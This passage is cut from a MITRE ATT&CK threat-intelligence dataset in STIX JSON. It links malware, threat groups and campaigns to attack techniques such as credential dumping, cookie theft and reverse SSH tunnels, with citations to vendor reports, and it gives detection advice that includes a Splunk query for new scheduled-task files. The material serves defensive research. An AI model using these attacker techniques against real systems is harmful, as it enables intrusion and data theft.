APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--356744ba-4a64-4ada-9c95-6cdc4e539614","created":"2022-09-30T12:38:39.154Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T12:38:39.154Z","description":"For [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used DLL files that had invalid certificates.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35697909-4c19-4799-a5ac-3153750619f8","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:40:35.185Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) can gather system information, the computer name, OS version, drive and serial information from the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--356aa4b0-e6c2-4ef7-a3b2-837c25c283b3","created":"2022-09-21T17:04:31.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T17:04:57.782Z","description":"The [Chinoxy](https://attack.mitre.org/software/S1041) dropping function can initiate decryption of its config file.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--356cef7e-2994-4e52-8985-e046e8cc5513","type":"relationship","created":"2021-03-19T21:04:01.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."},{"source_name":"Secureworks GOLD CABIN","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin","description":"Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:01.259Z","description":"(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3572609a-ee27-4366-a463-24daa46d3d54","created":"2022-04-19T19:06:24.224Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.","modified":"2022-04-19T19:06:24.224Z","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3572a770-9151-42d5-82b5-360002725052","type":"relationship","created":"2019-01-30T16:39:54.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.757Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload).(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3574efdf-c9f0-4515-806e-a9a5437be02a","type":"relationship","created":"2021-03-19T13:27:52.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:27:52.117Z","description":"(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3577cdd8-c9fd-4b97-94a5-6332f9cad77a","type":"relationship","created":"2021-06-10T14:58:56.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T14:58:56.728Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has been distributed to victims through malicious e-mail attachments.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3578dfa3-12cf-4788-aeba-e3478981177b","created":"2024-03-11T13:37:32.275Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T13:37:32.275Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-01-09T17:15:14.820Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) has a command to list its directory and logical drives.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35868441-95dc-41af-98d3-442aee51d777","created":"2023-10-02T00:46:18.353Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T00:46:18.353Z","description":"Log cloud API calls to assume, create, or impersonate additional roles, policies, and permissions. Review uses of just-in-time access to ensure that any justifications provided are valid and only expected actions were taken.","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35887eab-0306-4e28-910d-2235207cc621","type":"relationship","created":"2021-06-07T13:46:13.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-06-24T13:35:43.541Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) can receive a command line argument to limit file encryption to specified directories.(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--358df62a-ff30-43d1-a110-e9f61ae59a97","created":"2024-06-27T20:42:15.452Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T20:42:15.452Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can pause for a number of hours before entering its C2 communication loop.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3593e540-dfc0-4995-8640-db52961b3666","type":"relationship","created":"2022-02-02T15:13:34.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:13:34.001Z","description":"[LitePower](https://attack.mitre.org/software/S0680) has the ability to download payloads containing system commands to a compromised host.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3598d32e-306d-421d-af3c-8c9f5d1628a2","type":"relationship","created":"2019-01-29T19:36:02.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2019-04-12T14:43:22.710Z","description":"[Carbon](https://attack.mitre.org/software/S0335) enumerates values in the Registry.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--359df603-3053-419e-82f9-1fc57715caf5","created":"2023-04-11T22:28:48.988Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T22:28:48.988Z","description":"Monitor for unexpected deletions of user accounts. Windows event logs may highlight activity associated with an adversary's attempt to remove an account (e.g., `Event ID 4726 - A user account was deleted`).\n\nAlerting on these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate account modification events with other indications of malicious activity where possible.","relationship_type":"detects","source_ref":"x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35a70cfa-6bd8-4ff6-93e0-6fca903223f5","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--35a9c64c-c305-46bf-a216-c8bb1b051614","created":"2017-05-31T21:33:27.046Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."},{"source_name":"Secureworks IRON HUNTER Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."},{"source_name":"Symantec Waterbug","url":"https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1","description":"Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Symantec Waterbug)(Citation: Unit 42 IronNetInjector February 2021 )(Citation: Secureworks IRON HUNTER Profile)","modified":"2022-05-20T17:02:59.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35aac341-5371-42e8-ad93-3ab94a11b51a","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Poseidon Group","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}],"modified":"2020-03-18T15:34:54.805Z","description":"[Poseidon Group](https://attack.mitre.org/groups/G0033) conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35acff32-7f4e-4937-b05f-baa27f1e745b","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:12:34.565Z","description":"Monitor newly constructed files that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.\n\nAnalytic 1 - Look for new task files with unusual parameters.\n\n index=security_logs OR index=system_logs\n(sourcetype=\"docker_events\" OR sourcetype=\"kubernetes_events\" OR sourcetype=\"wineventlog:security\" OR sourcetype=\"linux_secure\" OR sourcetype=\"syslog\" OR sourcetype=\"file_monitoring\")\n| eval platform=case(\n sourcetype==\"docker_events\" OR sourcetype==\"kubernetes_events\", \"Containers\",\n sourcetype==\"wineventlog:security\", \"Windows\",\n sourcetype==\"linux_secure\" OR sourcetype==\"syslog\", \"Linux\",\n sourcetype==\"mac_os_events\", \"macOS\"\n)\n| search (\n (platform=\"Containers\" AND (event_type=\"file_create\" AND (file_path=\"*/etc/cron.d/*\" OR file_path=\"*/etc/systemd/system/*\"))) OR\n (platform=\"Windows\" AND EventCode=4663 AND (ObjectName=\"C:\\\\Windows\\\\System32\\\\Tasks\\\\*\" OR ObjectName=\"C:\\\\Windows\\\\Tasks\\\\*\")) OR\n (platform=\"Linux\" AND (file_path=\"/etc/cron.d/*\" OR file_path=\"/etc/systemd/system/*\")) OR\n (platform=\"macOS\" AND (file_path=\"/Library/LaunchDaemons/*\" OR file_path=\"/Library/LaunchAgents/*\"))\n)","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35ae6625-8563-493c-8950-1230bd0fd122","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T16:24:52.527Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) can download and execute additional files.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35b0668b-312b-4cf4-baff-cda407575dc4","created":"2024-09-06T21:47:30.037Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:47:30.037Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used publicly available tools such as MASSCAN and Acunetix for vulnerability scanning of public-facing infrastructure.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35b7c6d7-521c-41f6-81fc-af2f67d8ad82","created":"2024-03-25T21:18:04.903Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:18:04.903Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) retrieves browser cookies via Raccoon Stealer.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35bfa368-bdf2-4a1e-8723-dafb788d5ddf","created":"2024-09-06T22:04:59.821Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:04:59.821Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used virtual private servers (VPSs) to host tools, perform reconnaissance, exploit victim infrastructure, and as a destination for data exfiltration.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35bfe5a4-84ca-4601-82d8-073b1e384115","type":"relationship","created":"2019-05-29T14:17:51.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2020-03-21T00:24:09.097Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) may set up a reverse SSH tunnel to give the attacker access to services running on the victim, such as RDP.(Citation: Proofpoint TA505 Jan 